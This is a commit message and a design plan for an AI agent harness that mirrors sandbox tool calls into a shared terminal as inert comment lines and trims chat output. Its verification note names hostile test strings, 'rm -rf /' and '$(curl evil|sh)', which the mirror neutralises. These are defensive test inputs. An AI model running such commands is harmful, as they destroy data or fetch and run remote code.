Display-mirror hybrid (docs/plan-harness-visibility.md §2): native tool calls now show up in the shared sandbox terminal again via inert `# `- prefixed comment lines (comment-prefix = anti-double-run/anti-escape), mirroring only each command. Chat de-flooded to opener + final summary. write_file mkdir -p parent dir so relative/absolute paths both work (fixes the regression where script creation silently failed). ui.rs fmt_line returns Vec<Line> splitting on \n so multi-line agent output renders as an indented block instead of one garbled row. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
10 KiB
hack-house → Native harness: visible injection + structured output — Plan
Status: Implemented (§2 display-mirror hybrid) · Date: 2026-06-09 Scope: Make the
native!taskharness (a) visibly act in the shared sandbox terminal again (like the oldsimpleinjector did), and (b) stop flooding chat with unstructured per-step lines. Builds on:docs/spec-native-harness.md(Phase 3 follow-up). Touch:cmd_chat/agent/bridge.py(mainly), maybehh/src/app.rs/ui.rsfor the purist option only.
0. Problem (diagnosed 2026-06-09)
Two regressions vs. the old simple harness, both rooted in one architectural
choice in _run_native.
0.1 Native execution is invisible in the sandbox terminal pane
- The terminal pane everyone watches is fed ONLY by
_sbx:dataframes, which the broker emits from the shared PTY (hh/src/app.rs:1530-1534; the broker renders its own PTY locally, others paint from_sbx:data). - The old
simpleharness typed commands into that shared PTY via_sbx:input(bridge.py:_inject~421-429 → broker writes them atapp.rs:1458-1463). You literally saw it type and the output scroll. - The new
nativeharness runs each tool call as a separate host subprocess —<engine> exec -i <name> sh -c …(bridge.py:_exec_capture~498-519), deliberately, so it can capture stdout to feed the model. The side effect: that output never enters the shared PTY, so it never becomes_sbx:data, so the terminal pane stays blank. The commands do run (files get created in the container) — you just can't see anything happen. - The bridge also currently drops all
_sbx:dataframes (bridge.py:_handle_frame~857-859 →_handle_controlignores them), so today it can't read the shared shell at all.
0.2 Native floods chat with unstructured lines
_run_native (bridge.py ~574-640) posts a separate room broadcast per step:
- header
† {name}: working on — {task}(~598) - one line per tool call
† {name} ▸ {describe_call}(~632) - final
† {name} (native) for {asker}: …(~639)
With turn cap ≤5 × multiple calls that's a wall of interleaved † … ▸ $ cmd
lines, no structure, results not even shown — just the calls.
1. Goal
- Restore visible injection — the granted agent's actions show up in the shared sandbox terminal again, for the whole clergy.
- Structure the "thinking" — move the step-by-step play-by-play out of chat into a clean, readable transcript; chat keeps only a concise final summary.
- Keep native's ability to read command output (its reason to exist) and all
existing guards (DESTRUCTIVE gate,
MAX_COMMANDS,NATIVE_OUTPUT_CAP,NATIVE_TOOL_TIMEOUT, turn cap, owner ACL gate, sandbox = blast radius).
2. Recommended approach — "display-mirror hybrid" (low risk)
Keep the out-of-band <engine> exec for capture (unchanged), but mirror
every step into the shared PTY as display-only writes so the clergy sees it,
and collapse chat to one final line.
2.1 Mirror into the terminal (Fix 1, light)
For each tool call in _run_native (bridge.py ~623-633):
- Before running: write a non-executing prompt/echo line into the shared PTY
via
_send_sbx_input(bridge.py~394-399), e.g.# † {name} ▸ $ <cmd>\n— a shell comment so the PTY's shell does NOT execute it (no double-run). Forwrite_file/read_fileuse# † {name} ▸ write <path>/… read <path>. - Run the real command out-of-band via
_exec_tool(unchanged) → captured output for the model. - After running: echo a capped, commented summary of the result back into the
PTY (e.g. first N lines prefixed
#, then# † exit={rc}), so the terminal reads as a coherent transcript of what the agent did.
Notes / gotchas:
_send_sbx_inputis inert unless granted (broker keys off sender) — same gate assimple. Native only runs whenself.granted, so this is fine.- Comment-prefix (
#) is the safety trick: anything written to PTY stdin is run by the shell, so the mirror MUST be inert. Prefix every mirrored line with#and strip/curtail embedded newlines so a multi-line result can't break out of the comment. Cap mirrored output (reuse a small cap, e.g. 10–20 lines). - Throttle writes (
asyncio.sleep(~0.05-0.1)) like_injectdoes so the relayed_sbx:datastays legible. - Decide: mirror full (capped) result, or just a one-line
† exit={rc}per step. Recommend capped result forrun_shell/read_file, one-line forwrite_file.
2.2 De-flood chat (Fix 2)
- Remove the per-call
_send_chatat ~632 and the header at ~598 (the play-by-play now lives in the terminal transcript from 2.1). - Keep only the single final summary (~639), trimmed. Optionally also keep one short opener if a fully-silent start feels off — but prefer terminal-only for the steps.
- Leave
_send_typing(spinner) as-is; it's a control frame, not chat.
2.3 Acceptance
- A granted
/ai <name> !<task>shows each command + (capped) result in the sandbox terminal pane for all members, with no double execution. - Chat gets one final line (plus optional opener), not N step lines.
- Output capture still drives the loop (model self-corrects across turns).
- Destructive
run_shellstill blocked; caps/timeouts unchanged. simpleharness +/ai confirmpath unchanged.
3. Alternative — "PTY sentinel capture" (purist, higher risk)
Run run_shell through the shared PTY for real (true shared execution +
visible output) and capture by wrapping with sentinels:
echo __HH_START_<id>__; <cmd>; echo __HH_END_<id>_$?__, then have the bridge
subscribe to _sbx:data (stop dropping it in _handle_control), accumulate,
strip ANSI, and demux the slice between sentinels to feed back to the model.
- Pro: one unified shared shell — the agent reads exactly what humans see; no out-of-band exec at all.
- Con: async stream parsing, per-call timeouts on a stream (not a process),
ANSI/terminal-control stripping, and contention with a human who is also
driving (F2). Much more to get right.
write_filevia heredoc-over-PTY is fiddly vs. the current clean stdin pipe.
Recommendation: ship §2 first (restores the felt behavior with little risk); consider §3 only if we later want the agent to truly share one shell with humans.
4. Work breakdown (for the new session)
bridge.py: add a_mirror_to_pty(ws, line)helper (comment-prefix + newline strip + throttle) wrapping_send_sbx_input.bridge.py: in_run_native's call loop (~623-633), mirror before (the command) and after (capped result) each_exec_tool.bridge.py: drop the header (~598) and per-call chat line (~632); keep/trim the final (~639).- Manual live test via tmux (see memory: Driving the hh TUI via tmux) — grant
the agent, run a
!task, confirm terminal shows the transcript and chat shows one line. Watch for double execution and comment-escape. py_compile+ a fake-provider unit pass if one exists for the native loop.- Update
docs/spec-native-harness.mdPhase 3 notes + memory (hh_podman_goose_integration.md) once landed.
4a. What shipped (2026-06-09)
§2 implemented in cmd_chat/agent/bridge.py:
-
New
_mirror_to_pty(ws, text, *, cap)helper — splits on newlines, prefixes every line with#(inert comment, never executed), strips\r, caps toMIRROR_MAX_LINES=12with a… (+N more)notice, throttles 0.05s/line. Inert until granted (broker keys writes off the sender). -
_run_nativemirrors only the agent's actions into the shared PTY: one▸ {describe_call}comment per tool call (e.g.# ▸ $ ls,# ▸ write ./x.sh), so the clergy sees what it does in the sandbox. After iterating with the user we dropped the start/done banners, the interim-reasoning mirror, and the per-step result mirror from the terminal — those read as chat content, not terminal content, and the result lines (esp. errors) were noise. Outcomes are reported via the single final chat summary. Real execution still runs out-of-band via_exec_tool(capture feeds the model loop, intact). -
write_filenowmkdir -p "$(dirname "$1")"beforecat > "$1"so a path into a not-yet-existing directory works — fixes the regression where the model picked an absolute path (/var/lib/.../), every write failedexit=2 Directory nonexistent, and no scripts were ever created (the old simple harness avoided this by typing relative-path heredocs into the shell's CWD).NATIVE_SYSTEMalso now steers the model to relative paths under the sandbox home + to run scripts to verify. -
Chat de-flooded: the per-call
† … ▸broadcasts are gone; chat now carries just the one opener († {name}: working on — {task}) + the one final summary. -
Resolved open Qs: (1) mirror the capped result for every step (write_file's is already a one-liner); (2) keep a single chat opener, steps are terminal-only; (3) reuse
NATIVE_OUTPUT_CAPfor the model feed, separateMIRROR_MAX_LINESline-cap for the pane so the terminal stays legible. -
Verified offline (fake provider): exactly 2 chat lines, transcript mirrored as inert comments, no double execution; hostile multi-line results (
rm -rf /,$(curl evil|sh), embedded CR) all neutralized as single#comment lines. Chat readability (follow-on, same day): -
hh/src/ui.rsfmt_linenow returnsVec<Line>and splits records on\n, so a multi-line agent answer/plan renders as an indented block instead of one garbled ratatui row;draw_chatflat_maps it. AI output (leading†) + client system notices render as dim/italic sigil-marked "action" blocks attributed to the author. -
bridge.py_run_nativechat lines de-duplicated: opener† working — {task}, final† @{asker} {final}(the client now supplies the name/sigil styling, so the bot no longer repeats{name}: … (native) for …). -
Not done (deferred): §3 PTY-sentinel purist path; live tmux validation vs Ollama.
5. Open questions
- Mirror full capped result into the terminal, or just
exit={rc}per step? (Leaning: capped result for run_shell/read_file, one-liner for write_file.) - Keep a single chat opener line, or go fully terminal-only for steps with just the final summary in chat?
- Mirror cap size (lines/bytes) — reuse
NATIVE_OUTPUT_CAP(4096B) or a smaller per-pane cap so the terminal stays legible?